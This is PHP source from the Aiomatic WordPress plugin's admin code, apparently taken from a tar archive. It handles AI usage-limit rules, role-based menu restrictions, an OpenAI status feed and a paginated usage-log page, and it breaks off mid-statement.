class="tab-content"> <br/> <?php echo aiomatic_text_ai_detector(array());?> <br/> <p class="cr_image_center"><?php echo esc_html__("Shortcode alternative: ", 'aiomatic-automatic-ai-content-writer');?><b>[aiomatic-ai-detector]</b></p> </div> </div> <?php } ?>��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/aiomatic-limits-statistics.php������������������������������������������������������������������0000644�����������������00000364374�14757771437�0013372 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php function aiomatic_get_editable_roles() { global $wp_roles; $all_roles = $wp_roles->roles; $editable_roles = apply_filters('editable_roles', $all_roles); return $editable_roles; } function aiomatic_save_restrictions($data) { check_admin_referer( 'aiomatic_save_restrictions', '_aiomaticr_nonce_restrictions' ); $data = $_POST['aiomatic_Limit_Rules']; $restrictions = array(); for($i = 0; $i < sizeof($data['user_credits']); ++$i) { $bundle = array(); $user_credits = trim( sanitize_text_field( $data['user_credits'][$i] ) ); $bundle[] = $user_credits; $bundle[] = trim($data['user_credit_type'][$i]); $bundle[] = trim( sanitize_text_field( $data['user_time_frame'][$i] ) ); $bundle[] = trim( sanitize_text_field( $data['absolute'][$i] ) ); $bundle[] = trim( sanitize_text_field( $data['role'][$i] ) ); $bundle[] = trim( sanitize_text_field( $data['active'][$i] ) ); $bundle[] = trim( sanitize_text_field( $data['ums_sub'][$i] ) ); $bundle[] = trim( sanitize_text_field( $data['message'][$i] ) ); $bundle[] = trim( sanitize_text_field( $data['rule_description'][$i] ) ); $bundle[] = trim( sanitize_text_field( $data['user_list'][$i] ) ); if ($user_credits == '') { continue; } else { $restrictions[$i] = $bundle; } } update_option('aiomatic_Limit_Rules', $restrictions); } if (isset($_POST['aiomatic_Limit_Rules'])) { add_action('admin_init', 'aiomatic_save_restrictions'); } function aiomatic_save_menu_limits($data) { check_admin_referer( 'aiomatic_save_menus', '_aiomaticr_nonce' ); $data = $_POST['aiomatic_Menu_Rules']; $restrictions = array(); $cat_cont = 0; for($i = 0; $i < sizeof($data['role']); ++$i) { $bundle = array(); $user_roles = $data['role'][$i]; $bundle[] = $user_roles; if($i == sizeof($data['role']) - 1) { if(isset($data['menu_limit'])) { $bundle[] = $data['menu_limit']; } else { if(!isset($data['menu_limit' . $cat_cont])) { $cat_cont++; } if(!isset($data['menu_limit' . $cat_cont])) { $bundle[] = array(''); } else { $bundle[] = $data['menu_limit' . $cat_cont]; } } } else { if(!isset($data['menu_limit' . $cat_cont])) { $cat_cont++; } if(!isset($data['menu_limit' . $cat_cont])) { $bundle[] = array(''); } else { $bundle[] = $data['menu_limit' . $cat_cont]; } } $bundle[] = $data['rule_description'][$i]; $cat_cont++; if (empty($user_roles)) { continue; } else { $restrictions[$i] = $bundle; } } update_option('aiomatic_Menu_Rules', $restrictions); } if (isset($_POST['aiomatic_Menu_Rules'])) { add_action('admin_init', 'aiomatic_save_menu_limits'); } function aiomatic_expand_limitations($roles) { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if(empty(trim($aiomatic_Main_Settings['app_id']))) { return 'You need to add an API key in plugin settings for this to work!'; } $limitations = get_option('aiomatic_Limit_Rules'); $output = ''; if (!empty($limitations)) { $name = md5(get_bloginfo()); wp_register_script($name . '-stats-extra-script', ''); wp_enqueue_script($name . '-stats-extra-script'); foreach ($limitations as $cont => $bundle[]) { $bundle_values = array_values($bundle); $myValues = $bundle_values[$cont]; $array_my_values = array_values($myValues); for($iji=0;$iji<count($array_my_values);++$iji){if(is_string($array_my_values[$iji])){$array_my_values[$iji]=stripslashes($array_my_values[$iji]);}} $user_credits = $array_my_values[0]; $user_credit_type = $array_my_values[1]; $user_time_frame = $array_my_values[2]; $absolute = $array_my_values[3]; $role = $array_my_values[4]; $active = $array_my_values[5]; $ums_sub = $array_my_values[6]; $message = $array_my_values[7]; $rule_description = $array_my_values[8]; $user_list = $array_my_values[9]; if($rule_description == '') { $rule_description = $cont; } wp_add_inline_script($name . '-stats-extra-script', 'aiomaticCreateAdmin(' . esc_html($cont) . ');', 'after'); $output .= ' <tr> <td class="cr_td_xo"><input type="text" name="aiomatic_Limit_Rules[rule_description][]" id="rule_description' . esc_html($cont) . '" class="cr_center" placeholder="Rule ID" value="' . esc_html($rule_description) . '" class="cr_width_full"/></td> <td class="cr_min_100"><input type="number" min="0" required step="0.01" name="aiomatic_Limit_Rules[user_credits][]" value="'.esc_attr($user_credits).'" class="cr_width_full" placeholder="Maximum Credits For Users"/></td> <td class="cr_min_100"> <select name="aiomatic_Limit_Rules[user_credit_type][]" class="cr_width_full"> <option value="queries" '; if($user_credit_type === 'queries') { $output .= 'selected="selected"'; } $output .= '>' . esc_html__('Queries', 'aiomatic-automatic-ai-content-writer') . '</option>'; $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); $token = $appids[array_rand($appids)]; if(!aiomatic_is_aiomaticapi_key($token)) { $output .= '<option value="units" '; if($user_credit_type === 'units') { $output .= 'selected="selected"'; } $output .= '>' . esc_html__('Tokens', 'aiomatic-automatic-ai-content-writer') . '</option> <option value="price" '; if($user_credit_type === 'price') { $output .= 'selected="selected"'; } $output .= '>' . esc_html__('Price', 'aiomatic-automatic-ai-content-writer') . '</option> <option value="pdf" '; if($user_credit_type === 'pdf') { $output .= 'selected="selected"'; } $output .= '>' . esc_html__('Maximum Chatbot Uploaded PDF Page Count (Per PDF File)', 'aiomatic-automatic-ai-content-writer') . '</option> <option value="pdfchar" '; if($user_credit_type === 'pdfchar') { $output .= 'selected="selected"'; } $output .= '>' . esc_html__('Maximum Chatbot Uploaded PDF Character Count (Per PDF File)', 'aiomatic-automatic-ai-content-writer') . '</option>'; } $output .= '</select></td> <td class="cr_6cust"><select class="cr_max_width_80" name="aiomatic_Limit_Rules[user_time_frame][]"> <option value="day" '; if($user_time_frame === 'day') { $output .= 'selected="selected"'; } $output .= '>' . esc_html__('Day', 'aiomatic-automatic-ai-content-writer') . '</option> <option value="week" '; if($user_time_frame === 'week') { $output .= 'selected="selected"'; } $output .= '>' . esc_html__('Week', 'aiomatic-automatic-ai-content-writer') . '</option> <option value="month" '; if($user_time_frame === 'month') { $output .= 'selected="selected"'; } $output .= '>' . esc_html__('Month', 'aiomatic-automatic-ai-content-writer') . '</option> <option value="year" '; if($user_time_frame === 'year') { $output .= 'selected="selected"'; } $output .= '>' . esc_html__('Year', 'aiomatic-automatic-ai-content-writer') . '</option> </select></td> <td class="cr_td_q"> <select class="cr_max_width_80" name="aiomatic_Limit_Rules[absolute][]"> <option value="0" '; if($absolute === '0') { $output .= 'selected="selected"'; } $output .= '>' . esc_html__('No', 'aiomatic-automatic-ai-content-writer') . '</option> <option value="1" '; if($absolute === '1') { $output .= 'selected="selected"'; } $output .= '>' . esc_html__('Yes', 'aiomatic-automatic-ai-content-writer') . '</option> </select></td> <td class="cr_width_70"> <center><input type="button" id="mybtnfzr' . esc_html($cont) . '" value="Settings"></center> <div id="mymodalfzr' . esc_html($cont) . '" class="codemodalfzr"> <div class="codemodalfzr-content"> <div class="codemodalfzr-header"> <span id="aiomatic_close' . esc_html($cont) . '" class="codeclosefzr">×</span> <h2>' . esc_html__('Rule', 'aiomatic-automatic-ai-content-writer') . ' <span class="cr_color_white">ID ' . esc_html($cont) . '</span> ' . esc_html__('Advanced Settings', 'aiomatic-automatic-ai-content-writer') . '</h2> </div> <div class="codemodalfzr-body"> <div class="table-responsive"> <table class="responsive table cr_main_table_nowr"> <tr><td colspan="2"><h2>' . esc_html__('What to Restrict', 'aiomatic-automatic-ai-content-writer') . ':</h2></td></tr> <tr> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text" >' . esc_html__('Select the user role to be restricted.', 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("User Role:", 'aiomatic-automatic-ai-content-writer') . '</b> </td><td> <select name="aiomatic_Limit_Rules[role][]" class="cr_width_full"> <option value="none" '; if($role === 'none') { $output .= 'selected="selected"'; } $output .= '>' . esc_html__('Don\'t check', 'aiomatic-automatic-ai-content-writer') . '</option> <option value="any" '; if($role === 'any') { $output .= 'selected="selected"'; } $output .= '>' . esc_html__('Apply For Any Role', 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($roles as $urole => $caps) { $output .= '<option value="' . $urole . '"'; if($urole === $role) { $output .= ' selected="selected"'; } $output .= '>' . $urole . '</option>'; } $output .= '</select> </div> </td></tr> <tr> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text" >' . esc_html__('Integration with \'Ultimate Membership Pro\'', 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b><a href="https://1.envato.market/UltimateMember" target="_blank">' . esc_html__("Ultimate Membership Pro", 'aiomatic-automatic-ai-content-writer') . '</a> ' . esc_html__("Subscription Plan:", 'aiomatic-automatic-ai-content-writer') . '</b> </td><td> <select name="aiomatic_Limit_Rules[ums_sub][]" class="cr_width_full"> <option value="none" '; if($ums_sub === 'none') { $output .= 'selected="selected"'; } $output .= '>' . esc_html__('Don\'t check', 'aiomatic-automatic-ai-content-writer') . '</option>'; $levels = array(); if(class_exists('\Indeed\Ihc\Db\Memberships') && function_exists('ihc_reorder_arr')) { $levels = \Indeed\Ihc\Db\Memberships::getAll(); $levels = ihc_reorder_arr($levels); } if(count($levels) > 0) { $output .= '<option value="any" '; if($ums_sub === 'any') { $output .= 'selected="selected"'; } $output .= '>' . esc_html__('Apply For Any Subscription', 'aiomatic-automatic-ai-content-writer') . '</option>'; $output .= '<option value="nosub" '; if($ums_sub === 'nosub') { $output .= 'selected="selected"'; } $output .= '>' . esc_html__('Not Subscribed Users', 'aiomatic-automatic-ai-content-writer') . '</option>'; } foreach($levels as $levelid => $larr) { $output .= '<option value="' . $levelid . '"'; if((string)$levelid === $ums_sub) { $output .= ' selected="selected"'; } $output .= '>' . $larr['label']. '</option>'; } $output .= '</select> </div> </td></tr> <tr> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text" >' . esc_html__('Set the user ID list to cover with this restriction. You can enter a comma separated list of user IDs.', 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>'. esc_html__("User ID List:", 'aiomatic-automatic-ai-content-writer') . '</b> </td><td> <input type="text" name="aiomatic_Limit_Rules[user_list][]" value="'.esc_attr($user_list).'" class="cr_width_full" placeholder="User ID List"/> </div> </td></tr> <tr><td colspan="2"><h2>' . esc_html__('More Settings', 'aiomatic-automatic-ai-content-writer') . ':</h2></td></tr> <tr> <td class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text">' . esc_html__('Set the message to show to restricted users.', 'aiomatic-automatic-ai-content-writer') . ' </div> </div> <b>' . esc_html__("User Restricted Message:", 'aiomatic-automatic-ai-content-writer') . '</b> </td><td> <input type="text" name="aiomatic_Limit_Rules[message][]" value="'.esc_attr($message).'" class="cr_width_full" placeholder="You are restricted"/> </div> </td></tr> </table></div> </div> <div class="codemodalfzr-footer"> <br/> <h3 class="cr_inline">Aiomatic Restrictions</h3><span id="aiomatic_ok' . esc_html($cont) . '" class="codeokfzr cr_inline">OK </span> <br/><br/> </div> </div> </div> </td> <td class="cr_30 cr_center" ><span class="wpaiomatic-delete">X</span></td> <td class="cr_short_td"> <select name="aiomatic_Limit_Rules[active][]" class="cr_width_full"> <option value="1" '; if($active === '1') { $output .= 'selected="selected"'; } $output .= '>' . esc_html__('Yes', 'aiomatic-automatic-ai-content-writer') . '</option> <option value="0" '; if($active === '0') { $output .= 'selected="selected"'; } $output .= '>' . esc_html__('No', 'aiomatic-automatic-ai-content-writer') . '</option></select></td> </tr> '; $cont = $cont + 1; } } return $output; } function aiomatic_expand_menu_limits($roles) { $limitations = get_option('aiomatic_Menu_Rules'); $output = ''; if (!empty($limitations)) { foreach ($limitations as $cont => $bundle[]) { $bundle_values = array_values($bundle); $myValues = $bundle_values[$cont]; $array_my_values = array_values($myValues); for($iji=0;$iji<count($array_my_values);++$iji){if(is_string($array_my_values[$iji])){$array_my_values[$iji]=stripslashes($array_my_values[$iji]);}} $user_role = $array_my_values[0]; $user_menus = $array_my_values[1]; $rule_description = $array_my_values[2]; if(!is_array($user_menus)) { $user_menus = array($user_menus); } if($rule_description == '') { $rule_description = $cont; } $output .= ' <tr> <td class="cr_td_xo"><input type="text" name="aiomatic_Menu_Rules[rule_description][]" id="rule_description' . esc_html($cont) . '" class="cr_center" placeholder="Rule ID" value="' . esc_html($rule_description) . '" class="cr_width_full"/></td> <td class="cr_min_100"><select name="aiomatic_Menu_Rules[role][]" class="cr_width_full">'; foreach($roles as $urole => $caps) { $output .= '<option value="' . $urole . '"'; if($urole === $user_role) { $output .= ' selected="selected"'; } $output .= '>' . $urole . '</option>'; } $output .= '</select></td> <td class="cr_min_100"> <select required multiple name="aiomatic_Menu_Rules[menu_limit' . esc_html($cont) . '][]" class="cr_width_full"> <option value="aiomatic_admin_settings" '; if(in_array('aiomatic_admin_settings', $user_menus)) { $output .= 'selected="selected"'; } $output .= '>' . esc_html__('Settings', 'aiomatic-automatic-ai-content-writer') . '</option> <option value="aiomatic_omniblocks" '; if(in_array('aiomatic_omniblocks', $user_menus)) { $output .= 'selected="selected"'; } $output .= '>' . esc_html__('AI OmniBlocks', 'aiomatic-automatic-ai-content-writer') . '</option> <option value="aiomatic_single_panel" '; if(in_array('aiomatic_single_panel', $user_menus)) { $output .= 'selected="selected"'; } $output .= '>' . esc_html__('Single AI Post Creator', 'aiomatic-automatic-ai-content-writer') . '</option> <option value="aiomatic_bulk_creators" '; if(in_array('aiomatic_bulk_creators', $user_menus)) { $output .= 'selected="selected"'; } $output .= '>' . esc_html__('Bulk AI Post Creator', 'aiomatic-automatic-ai-content-writer') . '</option> <option value="aiomatic_spinner_panel" '; if(in_array('aiomatic_spinner_panel', $user_menus)) { $output .= 'selected="selected"'; } $output .= '>' . esc_html__('AI Content Editor', 'aiomatic-automatic-ai-content-writer') . '</option> <option value="aiomatic_chatbot_panel" '; if(in_array('aiomatic_chatbot_panel', $user_menus)) { $output .= 'selected="selected"'; } $output .= '>' . esc_html__('AI Chatbot', 'aiomatic-automatic-ai-content-writer') . '</option> <option value="aiomatic_assistants_panel" '; if(in_array('aiomatic_assistants_panel', $user_menus)) { $output .= 'selected="selected"'; } $output .= '>' . esc_html__('AI Assistants', 'aiomatic-automatic-ai-content-writer') . '</option> <option value="aiomatic_shortcodes_panel" '; if(in_array('aiomatic_shortcodes_panel', $user_menus)) { $output .= 'selected="selected"'; } $output .= '>' . esc_html__('AI Shortcodes and Forms', 'aiomatic-automatic-ai-content-writer') . '</option> <option value="aiomatic_embeddings_panel" '; if(in_array('aiomatic_embeddings_panel', $user_menus)) { $output .= 'selected="selected"'; } $output .= '>' . esc_html__('AI Embeddings', 'aiomatic-automatic-ai-content-writer') . '</option> <option value="aiomatic_batch_panel" '; if(in_array('aiomatic_batch_panel', $user_menus)) { $output .= 'selected="selected"'; } $output .= '>' . esc_html__('AI Batch Requests', 'aiomatic-automatic-ai-content-writer') . '</option> <option value="aiomatic_openai_training" '; if(in_array('aiomatic_openai_training', $user_menus)) { $output .= 'selected="selected"'; } $output .= '>' . esc_html__('AI Model Training', 'aiomatic-automatic-ai-content-writer') . '</option> <option value="aiomatic_playground_panel" '; if(in_array('aiomatic_playground_panel', $user_menus)) { $output .= 'selected="selected"'; } $output .= '>' . esc_html__('AI Playground', 'aiomatic-automatic-ai-content-writer') . '</option> <option value="aiomatic_openai_status" '; if(in_array('aiomatic_openai_status', $user_menus)) { $output .= 'selected="selected"'; } $output .= '>' . esc_html__('Limits & Statistics', 'aiomatic-automatic-ai-content-writer') . '</option> <option value="aiomatic_more" '; if(in_array('aiomatic_more', $user_menus)) { $output .= 'selected="selected"'; } $output .= '>' . esc_html__('More Features', 'aiomatic-automatic-ai-content-writer') . '</option> <option value="aiomatic_extensions" '; if(in_array('aiomatic_extensions', $user_menus)) { $output .= 'selected="selected"'; } $output .= '>' . esc_html__('Aiomatic Extensions', 'aiomatic-automatic-ai-content-writer') . '</option> <option value="aiomatic_logs" '; if(in_array('aiomatic_logs', $user_menus)) { $output .= 'selected="selected"'; } $output .= '>' . esc_html__('Activity & Logging', 'aiomatic-automatic-ai-content-writer') . '</option>'; $output .= '</select></td> <td class="cr_30 cr_center" ><span class="wpaiomatic-delete">X</span></td> </tr> '; $cont = $cont + 1; } } return $output; } function aiomatic_getIncidents() { $url = 'https://status.openai.com/history.rss'; $response = wp_remote_get( $url ); if ( is_wp_error( $response ) ) { throw new Exception( $response->get_error_message() ); } $response = wp_remote_retrieve_body( $response ); $xml = simplexml_load_string( $response ); $incidents = array(); $oneWeekAgo = time() - 7 * 24 * 60 * 60; foreach ( $xml->channel->item as $item ) { $date = strtotime( $item->pubDate ); if ( $date > $oneWeekAgo ) { $incidents[] = array( 'title' => (string) $item->title, 'description' => (string) $item->description, 'date' => $date ); } } return $incidents; } function aiomatic_display_arrows($curpage) { if(isset($_GET['pagesort']) && $_GET['pagesort'] == $curpage) { if (isset($_GET['pageord']) && $_GET['pageord'] == 'asc') { echo ' >'; } else { echo ' <'; } } else { if(!isset($_GET['pagesort']) && $curpage == 'time') { echo ' >'; } } } function aiomatic_openai_status() { $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); $aiomatic_Limit_Settings = get_option('aiomatic_Limit_Settings', false); if (isset($aiomatic_Limit_Settings['user_credits'])) { $user_credits = $aiomatic_Limit_Settings['user_credits']; } else { $user_credits = ''; } if (isset($aiomatic_Limit_Settings['user_credit_type'])) { $user_credit_type = $aiomatic_Limit_Settings['user_credit_type']; } else { $user_credit_type = ''; } if (isset($aiomatic_Limit_Settings['user_time_frame'])) { $user_time_frame = $aiomatic_Limit_Settings['user_time_frame']; } else { $user_time_frame = ''; } if (isset($aiomatic_Limit_Settings['guest_time_frame'])) { $guest_time_frame = $aiomatic_Limit_Settings['guest_time_frame']; } else { $guest_time_frame = ''; } if (isset($aiomatic_Limit_Settings['is_absolute_user'])) { $is_absolute_user = $aiomatic_Limit_Settings['is_absolute_user']; } else { $is_absolute_user = ''; } if (isset($aiomatic_Limit_Settings['is_absolute_guest'])) { $is_absolute_guest = $aiomatic_Limit_Settings['is_absolute_guest']; } else { $is_absolute_guest = ''; } if (isset($aiomatic_Limit_Settings['guest_credit_type'])) { $guest_credit_type = $aiomatic_Limit_Settings['guest_credit_type']; } else { $guest_credit_type = ''; } if (isset($aiomatic_Limit_Settings['guest_credits'])) { $guest_credits = $aiomatic_Limit_Settings['guest_credits']; } else { $guest_credits = ''; } if (isset($aiomatic_Limit_Settings['limit_message_logged'])) { $limit_message_logged = $aiomatic_Limit_Settings['limit_message_logged']; } else { $limit_message_logged = ''; } if (isset($aiomatic_Limit_Settings['limit_message_not_logged'])) { $limit_message_not_logged = $aiomatic_Limit_Settings['limit_message_not_logged']; } else { $limit_message_not_logged = ''; } if (isset($aiomatic_Limit_Settings['limit_message_rule'])) { $limit_message_rule = $aiomatic_Limit_Settings['limit_message_rule']; } else { $limit_message_rule = ''; } if (isset($aiomatic_Limit_Settings['ignored_users'])) { $ignored_users = $aiomatic_Limit_Settings['ignored_users']; } else { $ignored_users = ''; } if (isset($aiomatic_Limit_Settings['block_userids'])) { $block_userids = $aiomatic_Limit_Settings['block_userids']; } else { $block_userids = ''; } if (isset($aiomatic_Limit_Settings['enable_limits'])) { $enable_limits = $aiomatic_Limit_Settings['enable_limits']; } else { $enable_limits = ''; } if (isset($aiomatic_Limit_Settings['enable_limits_text'])) { $enable_limits_text = $aiomatic_Limit_Settings['enable_limits_text']; } else { $enable_limits_text = ''; } if (isset($aiomatic_Limit_Settings['user_credits_text'])) { $user_credits_text = $aiomatic_Limit_Settings['user_credits_text']; } else { $user_credits_text = ''; } if (isset($aiomatic_Limit_Settings['user_credit_type_text'])) { $user_credit_type_text = $aiomatic_Limit_Settings['user_credit_type_text']; } else { $user_credit_type_text = ''; } if (isset($aiomatic_Limit_Settings['user_time_frame_text'])) { $user_time_frame_text = $aiomatic_Limit_Settings['user_time_frame_text']; } else { $user_time_frame_text = ''; } if (isset($aiomatic_Limit_Settings['is_absolute_user_text'])) { $is_absolute_user_text = $aiomatic_Limit_Settings['is_absolute_user_text']; } else { $is_absolute_user_text = ''; } if (isset($aiomatic_Limit_Settings['ignored_users_text'])) { $ignored_users_text = $aiomatic_Limit_Settings['ignored_users_text']; } else { $ignored_users_text = ''; } if (isset($aiomatic_Limit_Settings['guest_credits_text'])) { $guest_credits_text = $aiomatic_Limit_Settings['guest_credits_text']; } else { $guest_credits_text = ''; } if (isset($aiomatic_Limit_Settings['guest_credit_type_text'])) { $guest_credit_type_text = $aiomatic_Limit_Settings['guest_credit_type_text']; } else { $guest_credit_type_text = ''; } if (isset($aiomatic_Limit_Settings['guest_time_frame_text'])) { $guest_time_frame_text = $aiomatic_Limit_Settings['guest_time_frame_text']; } else { $guest_time_frame_text = ''; } if (isset($aiomatic_Limit_Settings['is_absolute_guest_text'])) { $is_absolute_guest_text = $aiomatic_Limit_Settings['is_absolute_guest_text']; } else { $is_absolute_guest_text = ''; } if (isset($aiomatic_Limit_Settings['additional_roles'])) { $additional_roles = $aiomatic_Limit_Settings['additional_roles']; } else { $additional_roles = array(); } $max_per_page = 100; ?> <div class="wp-header-end"></div> <div class="wrap gs_popuptype_holder seo_pops"> <h2 class="cr_center"><?php echo esc_html__("Limits & Statistics", 'aiomatic-automatic-ai-content-writer');?></h2> <div class="wrap"> <nav class="nav-tab-wrapper"> <a href="#tab-0" class="nav-tab"><?php echo esc_html__("Tutorial", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-1" class="nav-tab"><?php echo esc_html__("Usage Logs", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-5" class="nav-tab"><?php echo esc_html__("Usage Graphs", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-2" class="nav-tab"><?php echo esc_html__("AI Usage Limits", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-6" class="nav-tab"><?php echo esc_html__("Text-to-Speech Usage Limits", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-4" class="nav-tab"><?php echo esc_html__("Plugin Menu Restrictions", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-3" class="nav-tab"><?php echo esc_html__("OpenAI Status", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-x" datahref="<?php echo admin_url('admin.php?page=aiomatic_admin_settings#tab-5');?>" class="nav-tab"><?php echo esc_html__("Limits & Statistics Settings", 'aiomatic-automatic-ai-content-writer');?></a> </nav> <div id="tab-0" class="tab-content"> <br/> <?php echo esc_html__("The Aiomatic plugin provides a robust set of features for managing and monitoring the usage of AI services. This tutorial will guide you through the 'Limits and Statistics' feature of the Aiomatic plugin.", 'aiomatic-automatic-ai-content-writer');?> <h2><?php echo esc_html__("Usage Logs", 'aiomatic-automatic-ai-content-writer');?></h2> <ol><li> <?php echo esc_html__("Navigate to the 'Limits and Statistics' section of the Aiomatic plugin.", 'aiomatic-automatic-ai-content-writer');?> </li><li> <?php echo esc_html__("Click on the 'Usage Logs' tab. Here, you will see a table with the following columns:", 'aiomatic-automatic-ai-content-writer');?> <ul> <li> <?php echo esc_html__("User: The user who made the request.", 'aiomatic-automatic-ai-content-writer');?> </li><li> <?php echo esc_html__("IP: The IP address from which the request was made.", 'aiomatic-automatic-ai-content-writer');?> </li><li> <?php echo esc_html__("Source: The source of the request.", 'aiomatic-automatic-ai-content-writer');?> </li><li> <?php echo esc_html__("Model: The AI model used for the request.", 'aiomatic-automatic-ai-content-writer');?> </li><li> <?php echo esc_html__("Mode: The mode in which the request was made.", 'aiomatic-automatic-ai-content-writer');?> </li><li> <?php echo esc_html__("Units: The number of units used for the request.", 'aiomatic-automatic-ai-content-writer');?> </li><li> <?php echo esc_html__("Type: The type of units listed.", 'aiomatic-automatic-ai-content-writer');?> </li><li> <?php echo esc_html__("Price: The cost of the request.", 'aiomatic-automatic-ai-content-writer');?> </li><li> <?php echo esc_html__("Time: The time when the request was made.", 'aiomatic-automatic-ai-content-writer');?> </li><li> <?php echo esc_html__("Session ID: The ID of the session in which the request was made.", 'aiomatic-automatic-ai-content-writer');?> </li><li> <?php echo esc_html__("You can use this table to monitor the usage of the plugin and track any unusual activity.", 'aiomatic-automatic-ai-content-writer');?> </li> </ul> </li> </ol> <h2><?php echo esc_html__("Usage Graphs", 'aiomatic-automatic-ai-content-writer');?></h2> <?php echo esc_html__("Click on the 'Usage Graphs' tab in the 'Limits and Statistics' section. Here, you can view graphs that represent the call count, used token count, usage cost, and generated AI image count. These graphs provide a visual representation of the plugin's usage over time, helping you understand usage trends and patterns.", 'aiomatic-automatic-ai-content-writer');?> <h2><?php echo esc_html__("Usage Limits", 'aiomatic-automatic-ai-content-writer');?></h2> <?php echo esc_html__("Click on the 'Usage Limits' tab in the 'Limits and Statistics' section. Here, you can set usage limits for both logged in and not logged in users. You can set limits based on token usage, price usage, or call count usage. You can also create usage limiting rules. For example, you might limit the number of requests a user can make in a given time period. The Aiomatic plugin can be integrated with the 'Ultimate Membership Pro' plugin. This allows you to set different usage amounts for members who have joined different membership plans. You can also limit usage based on user role. For example, you might allow administrators to make more requests than regular users.", 'aiomatic-automatic-ai-content-writer');?> <h2><?php echo esc_html__("OpenAI Status", 'aiomatic-automatic-ai-content-writer');?></h2> <?php echo esc_html__("Click on the 'OpenAI Status' tab in the 'Limits and Statistics' section. Here, you can see reported incidents from OpenAI's part and their API service status. This can help you troubleshoot any issues with the AI services provided by the plugin. Remember, the 'Limits and Statistics' feature is a powerful tool for managing and monitoring the usage of the Aiomatic plugin. By understanding how to use this feature, you can ensure that your AI services are being used effectively and responsibly.", 'aiomatic-automatic-ai-content-writer');?> <h2><?php echo esc_html__("Limits and Statistics Tutorial Video", 'aiomatic-automatic-ai-content-writer');?></h2> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/skwJz6yeqIg" frameborder="0" allowfullscreen></iframe></div></p> </div> <div id="tab-x" class="tab-content"> <br/> <p><?php echo esc_html__("Redirecting...", 'aiomatic-automatic-ai-content-writer');?></p> </div> <div id="tab-1" class="tab-content"> <br/> <?php if (isset($aiomatic_Main_Settings['enable_tracking']) && $aiomatic_Main_Settings['enable_tracking'] === 'on') { echo '<div id="aiomatic_statistics_holder">'; if (isset($_GET['pagenum']) && $_GET['pagenum'] != '' && is_numeric($_GET['pagenum'])) { $shiftp = intval($_GET['pagenum']); } else { $shiftp = 1; } $shiftn = ($shiftp - 1) * $max_per_page; $sor_arr = array(); if (isset($_GET['pagesort'])) { if ($_GET['pagesort'] == 'id') { $sor_arr["accessor"] = "id"; } elseif ($_GET['pagesort'] == 'user') { $sor_arr["accessor"] = "userId"; } elseif ($_GET['pagesort'] == 'assistant_id') { $sor_arr["accessor"] = "assistant_id"; } elseif ($_GET['pagesort'] == 'ip') { $sor_arr["accessor"] = "ip"; } elseif ($_GET['pagesort'] == 'source') { $sor_arr["accessor"] = "env"; } elseif ($_GET['pagesort'] == 'model') { $sor_arr["accessor"] = "model"; } elseif ($_GET['pagesort'] == 'mode') { $sor_arr["accessor"] = "mode"; } elseif ($_GET['pagesort'] == 'units') { $sor_arr["accessor"] = "units"; } elseif ($_GET['pagesort'] == 'type') { $sor_arr["accessor"] = "type"; } elseif ($_GET['pagesort'] == 'price') { $sor_arr["accessor"] = "price"; } elseif ($_GET['pagesort'] == 'time') { $sor_arr["accessor"] = "time"; } elseif ($_GET['pagesort'] == 'session') { $sor_arr["accessor"] = "session"; } if (isset($_GET['pageord']) && $_GET['pageord'] == 'asc') { $sor_arr["by"] = "asc"; } else { $sor_arr["by"] = "desc"; } } $statistics_res = $GLOBALS['aiomatic_stats']->logs_query( [], $shiftn, $max_per_page, null, $sor_arr ); if($statistics_res['total'] == 0) { echo esc_html__("Empty results.", 'aiomatic-automatic-ai-content-writer'); } else { echo '<div id="aiomatic-main-stat-holder" class="table-responsive">'; echo '<button href="#" id="aiomatic_delete_logs" class="page-title-action aiomatic_delete_logs">' . esc_html__("Delete All Logs", 'aiomatic-automatic-ai-content-writer') . '</button> '; echo '<a href="https://platform.openai.com/usage" target="_blank" id="aiomatic_check_openai" class="page-title-action aiomatic_delete_logs">' . esc_html__("Check On OpenAI", 'aiomatic-automatic-ai-content-writer') . '</a><br/>'; echo '<div class="tablediv"><div class="tablecelldiv"><input type="text" id="user_name_delete" placeholder="' . esc_html__("Username for which to delete logs", 'aiomatic-automatic-ai-content-writer') . '"/></div><button href="#" id="aiomatic_delete_user_logs" class="page-title-action full_w_button">' . esc_html__("Delete", 'aiomatic-automatic-ai-content-writer') . '</button></div>'; echo '<div class="aiomatic-paging-controller">'; if($statistics_res['total'] > $max_per_page) { $pages = ceil($statistics_res['total'] / $max_per_page); $nextp = $shiftp + 1; $prevp = $shiftp - 1; if($nextp > $pages) { $nextp = $pages; } if($prevp < 1) { $prevp = 1; } $first_url = aiomatic_add_to_url('pagenum', 1); $next_url = aiomatic_add_to_url('pagenum', $nextp); $prev_url = aiomatic_add_to_url('pagenum', $prevp); $last_url = aiomatic_add_to_url('pagenum', $pages); echo ' <span class="aiomatic-results-count">' . $statistics_res['total'] . ' ' . esc_html__("results", 'aiomatic-automatic-ai-content-writer') . '</span>  '; echo ' <a href="' . 